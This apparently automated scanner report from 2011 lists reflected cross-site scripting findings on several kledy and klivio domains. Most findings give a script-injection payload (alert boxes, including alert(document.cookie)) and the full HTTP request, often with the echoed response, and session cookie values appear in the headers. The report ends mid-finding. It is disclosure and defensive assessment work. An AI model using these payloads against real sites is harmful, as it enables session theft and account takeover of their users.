Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the b6885%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E58b3310da99 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 348ff"><script>alert(1)</script>fa7b0accd97 was submitted in the b6885%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E58b3310da99 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?b6885%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E58b3310da99=1348ff"><script>alert(1)</script>fa7b0accd97 HTTP/1.1 Host: www.kledy.co.uk Proxy-Connection: keep-alive Referer: http://www.kledy.co.uk/?b6885%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E58b3310da99=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=shtrg2ntptd2b1nqqoq2kqs3f23edrtj; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%7D
1.2. http://www.kledy.co.uk/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.kledy.co.uk
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b6885"><script>alert(1)</script>58b3310da99 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?b6885"><script>alert(1)</script>58b3310da99=1 HTTP/1.1 Host: www.kledy.co.uk Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
1.3. http://www.kledy.de/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.kledy.de
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 18fe2"><script>alert(1)</script>ef67307aec5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /?18fe2"><script>alert(1)</script>ef67307aec5=1 HTTP/1.1 Host: www.kledy.de Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <!----> <html dir="ltr" lang="de"> <head>
<meta name="description" content="Aktuelle Nachrichten und Videos aus Politik, Wirtschaft ...[SNIP]... <a href="?page=2&18fe2"><script>alert(1)</script>ef67307aec5=1" class="pages"> ...[SNIP]...
The value of the 18fe2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eef67307aec5 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bc0ab"><script>alert(1)</script>a392231d724 was submitted in the 18fe2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eef67307aec5 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /bookmarks.php?18fe2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eef67307aec5=1bc0ab"><script>alert(1)</script>a392231d724 HTTP/1.1 Host: www.kledy.de Proxy-Connection: keep-alive Referer: http://www.kledy.de/bookmarks.php?18fe2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eef67307aec5=1 Cache-Control: max-age=0 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=gd27lfmj2ui4qbk3nni47kv9tvnpfun3; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%7D
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <!----> <html dir="ltr" lang="de"> <head>
<meta name="description" content="Aktuelle Nachrichten und Videos aus Politik, Wirtschaft ...[SNIP]... <a href="?page=2&18fe2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eef67307aec5=1bc0ab"><script>alert(1)</script>a392231d724" class="pages"> ...[SNIP]...
1.5. http://www.kledy.de/bookmarks.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.kledy.de
Path:
/bookmarks.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7ff92"><script>alert(1)</script>13b11ab8e29 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /bookmarks.php?18fe2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eef67307aec5=1&7ff92"><script>alert(1)</script>13b11ab8e29=1 HTTP/1.1 Host: www.kledy.de Proxy-Connection: keep-alive Referer: http://www.kledy.de/bookmarks.php?18fe2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eef67307aec5=1 Cache-Control: max-age=0 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=gd27lfmj2ui4qbk3nni47kv9tvnpfun3; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%7D
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <!----> <html dir="ltr" lang="de"> <head>
<meta name="description" content="Aktuelle Nachrichten und Videos aus Politik, Wirtschaft ...[SNIP]... <a href="?page=2&18fe2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eef67307aec5=1&7ff92"><script>alert(1)</script>13b11ab8e29=1" class="pages"> ...[SNIP]...
1.6. http://www.kledy.de/bookmarks.php/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.kledy.de
Path:
/bookmarks.php/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d6d81"><script>alert(1)</script>3cde07b4d7d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /bookmarks.php/?d6d81"><script>alert(1)</script>3cde07b4d7d=1 HTTP/1.1 Host: www.kledy.de Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: referrer=1; PHPSESSID=gd27lfmj2ui4qbk3nni47kv9tvnpfun3; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%2C%22ee%22%3A%7B%22WibiyaConnect%22%3A1%7D%7D;
Response
HTTP/1.1 200 OK Date: Sat, 05 Feb 2011 23:38:48 GMT Server: Apache/2.2.10 (Linux/SUSE) X-Powered-By: PHP/5.2.11 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 95279
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <!----> <html dir="ltr" lang="de"> <head>
<meta name="description" content="Aktuelle Nachrichten und Videos aus Politik, Wirtschaft ...[SNIP]... <a href="?page=2&d6d81"><script>alert(1)</script>3cde07b4d7d=1" class="pages"> ...[SNIP]...
1.7. http://www.kledy.de/groups.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.kledy.de
Path:
/groups.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 91658"><script>alert(1)</script>9c070f06943 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /groups.php?91658"><script>alert(1)</script>9c070f06943=1 HTTP/1.1 Host: www.kledy.de Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: referrer=1; PHPSESSID=gd27lfmj2ui4qbk3nni47kv9tvnpfun3; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%2C%22ee%22%3A%7B%22WibiyaConnect%22%3A1%7D%7D;
Response
HTTP/1.1 200 OK Date: Sun, 06 Feb 2011 16:08:17 GMT Server: Apache/2.2.10 (Linux/SUSE) X-Powered-By: PHP/5.2.11 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 38686
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <!----> <html dir="ltr" lang="de"> <head>
<meta name="description" content="Aktuelle Nachrichten und Videos aus Politik, Wirtschaft ...[SNIP]... <a href="?page=2&91658"><script>alert(1)</script>9c070f06943=1" class="pages"> ...[SNIP]...
1.8. http://www.kledy.de/modules/buttons/buttons.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.kledy.de
Path:
/modules/buttons/buttons.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 258cb'%3balert(1)//71f2afc850a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 258cb';alert(1)//71f2afc850a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /modules/buttons/buttons.php?urls=http%3A//www.fotoatelier-berlin.de/%7Chttp%3A//wirtschaftsthemen.net/unternehmen/karriere/eine-frauenquote-koennte-tausende-arbeitsplaetze-vernichten/006920.html%7Chttp%3A//www.w7o.de/%7Chttp%3A//www.nmworkwear.de/index.php%3FcPath%3D2_3%7Chttp%3A//www.fitness-gesundheit.biz/die-gelenkbelastung-der-unteren-extremitaten-beim-nordic-walking/%7Chttp%3A//wirtschaftsthemen.net/politik/ausland/der-westen-opfert-aegyptens-demokratie-seiner-paranoia/006911.html%7Chttp%3A//www.mittelstandsblog.de/2011/02/gfk-prognose-deutsche-2011-noch-konsumfreudiger/%7Chttp%3A//www.breitband-anbieter.com/news/iphone-5-ipad-2-und-die-lte-tarife-der-deutschen-telekom-659/258cb'%3balert(1)//71f2afc850a000/ HTTP/1.1 Host: www.kledy.de Proxy-Connection: keep-alive Referer: http://www.kledy.de/bookmarks.php?18fe2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eef67307aec5=1 Cache-Control: max-age=0 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=gd27lfmj2ui4qbk3nni47kv9tvnpfun3; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%2C%22ee%22%3A%7B%22WibiyaConnect%22%3A1%7D%7D
The value of the urls request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 6069b'%3balert(1)//ea006b91c37 was submitted in the urls parameter. This input was echoed as 6069b';alert(1)//ea006b91c37 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /modules/buttons/buttons.php?urls=http%3A//www.fotoatelier-berlin.de/%7Chttp%3A//wirtschaftsthemen.net/unternehmen/karriere/eine-frauenquote-koennte-tausende-arbeitsplaetze-vernichten/006920.html%7Chttp%3A//www.w7o.de/%7Chttp%3A//www.nmworkwear.de/index.php%3FcPath%3D2_3%7Chttp%3A//www.fitness-gesundheit.biz/die-gelenkbelastung-der-unteren-extremitaten-beim-nordic-walking/%7Chttp%3A//wirtschaftsthemen.net/politik/ausland/der-westen-opfert-aegyptens-demokratie-seiner-paranoia/006911.html%7Chttp%3A//www.mittelstandsblog.de/2011/02/gfk-prognose-deutsche-2011-noch-konsumfreudiger/%7Chttp%3A//www.breitband-anbieter.com/news/iphone-5-ipad-2-und-die-lte-tarife-der-deutschen-telekom-659000/6069b'%3balert(1)//ea006b91c37 HTTP/1.1 Host: www.kledy.de Proxy-Connection: keep-alive Referer: http://www.kledy.de/bookmarks.php?18fe2%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Eef67307aec5=1 Cache-Control: max-age=0 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=gd27lfmj2ui4qbk3nni47kv9tvnpfun3; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%2C%22ee%22%3A%7B%22WibiyaConnect%22%3A1%7D%7D
(function () { var s = document.createElement('LINK'); s1 = document.getElementsByTagName('SCRIPT')[0]; s.type = 'text/css'; s.rel = "style ...[SNIP]... </div>"; } if (a[i].href=='http://www.breitband-anbieter.com/news/iphone-5-ipad-2-und-die-lte-tarife-der-deutschen-telekom-659000/6069b';alert(1)//ea006b91c37') { form=document.createElement("form"); if (a[i].href) form.action = 'http://www.kledy.de/submit.php?url=' + escape(a[i].href); else form.action = 'http://www.kledy.de/submit.php?url=http ...[SNIP]...
1.10. http://www.kledy.de/topusers.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.kledy.de
Path:
/topusers.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload db20f"><script>alert(1)</script>168816c2ef4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /topusers.php?db20f"><script>alert(1)</script>168816c2ef4=1 HTTP/1.1 Host: www.kledy.de Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: referrer=1; PHPSESSID=gd27lfmj2ui4qbk3nni47kv9tvnpfun3; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%2C%22connectUserNetworks%22%3A%5Bnull%2Cnull%2Cnull%2Cnull%2Cnull%2Cnull%5D%2C%22ee%22%3A%7B%22WibiyaConnect%22%3A1%7D%7D;
Response
HTTP/1.1 200 OK Date: Sun, 06 Feb 2011 16:08:35 GMT Server: Apache/2.2.10 (Linux/SUSE) X-Powered-By: PHP/5.2.11 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 50363
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <!----> <html dir="ltr" lang="de"> <head>
<meta name="description" content="Aktuelle Nachrichten und Videos aus Politik, Wirtschaft ...[SNIP]... <a href="?page=2&db20f"><script>alert(1)</script>168816c2ef4=1" class="pages"> ...[SNIP]...
The value of the bc891%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E5d09625540c request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 45016"><script>alert(1)</script>73c48648e78 was submitted in the bc891%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E5d09625540c parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?bc891%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E5d09625540c=145016"><script>alert(1)</script>73c48648e78 HTTP/1.1 Host: www.kledy.es Proxy-Connection: keep-alive Referer: http://www.kledy.es/?bc891%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E5d09625540c=1 Cache-Control: max-age=0 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=nloic33gus522qmdpladgr44oef587fc; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%7D
1.12. http://www.kledy.es/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.kledy.es
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bc891"><script>alert(1)</script>5d09625540c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?bc891"><script>alert(1)</script>5d09625540c=1 HTTP/1.1 Host: www.kledy.es Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
1.13. http://www.kledy.eu/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.kledy.eu
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f0d30"><script>alert(1)</script>31ed3e6c6d3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?f0d30"><script>alert(1)</script>31ed3e6c6d3=1 HTTP/1.1 Host: www.kledy.eu Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the 44921%22%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E107b665304c request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5cd8f"><script>alert(1)</script>6e25b810857 was submitted in the 44921%22%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E107b665304c parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?44921%22%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E107b665304c=15cd8f"><script>alert(1)</script>6e25b810857 HTTP/1.1 Host: www.kledy.it Proxy-Connection: keep-alive Referer: http://www.kledy.it/?44921%22%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E107b665304c=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=2t3tbrocpue6f7cffnmk3ubt3732emli; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%7D
1.15. http://www.kledy.it/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.kledy.it
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 44921"><script>alert(1)</script>107b665304c was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?44921"><script>alert(1)</script>107b665304c=1 HTTP/1.1 Host: www.kledy.it Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the 88099%22%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E31a8b6ec06f request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload adff9"><script>alert(1)</script>cb95d20b5e4 was submitted in the 88099%22%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E31a8b6ec06f parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?88099%22%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E31a8b6ec06f=1adff9"><script>alert(1)</script>cb95d20b5e4 HTTP/1.1 Host: www.kledy.us Proxy-Connection: keep-alive Referer: http://www.kledy.us/?88099%22%3E%3Cscript%3Ealert(String.fromCharCode(88,83,83))%3C/script%3E31a8b6ec06f=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PHPSESSID=2u9o7f7bqqp76j1ov4kjqj9927fseqhl; WibiyaProfile=%7B%22toolbar%22%3A%7B%22stat%22%3A%22Max%22%7D%2C%22apps%22%3A%7B%22openApps%22%3A%7B%7D%7D%7D
1.17. http://www.kledy.us/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.kledy.us
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 88099"><script>alert(1)</script>31a8b6ec06f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?88099"><script>alert(1)</script>31a8b6ec06f=1 HTTP/1.1 Host: www.kledy.us Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
1.18. http://www.klivio.com/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.klivio.com
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 34aa6"><script>alert(1)</script>ceac919ade3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?34aa6"><script>alert(1)</script>ceac919ade3=1 HTTP/1.1 Host: www.klivio.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"> <!----> <html dir="ltr" lang="de"> <head> <meta name="msvalidate.01" content="C0594E2AB82AE90F82DE0425FCA782B ...[SNIP]... <a href="/34aa6"><script>alert(1)</script>ceac919ade3/1/page/2"> ...[SNIP]...
1.19. http://www.klivio.de/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.klivio.de
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d3032"><script>alert(1)</script>176fd585611 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?d3032"><script>alert(1)</script>176fd585611=1 HTTP/1.1 Host: www.klivio.de Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 13087'-alert(1)-'3c02ec02ea8 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
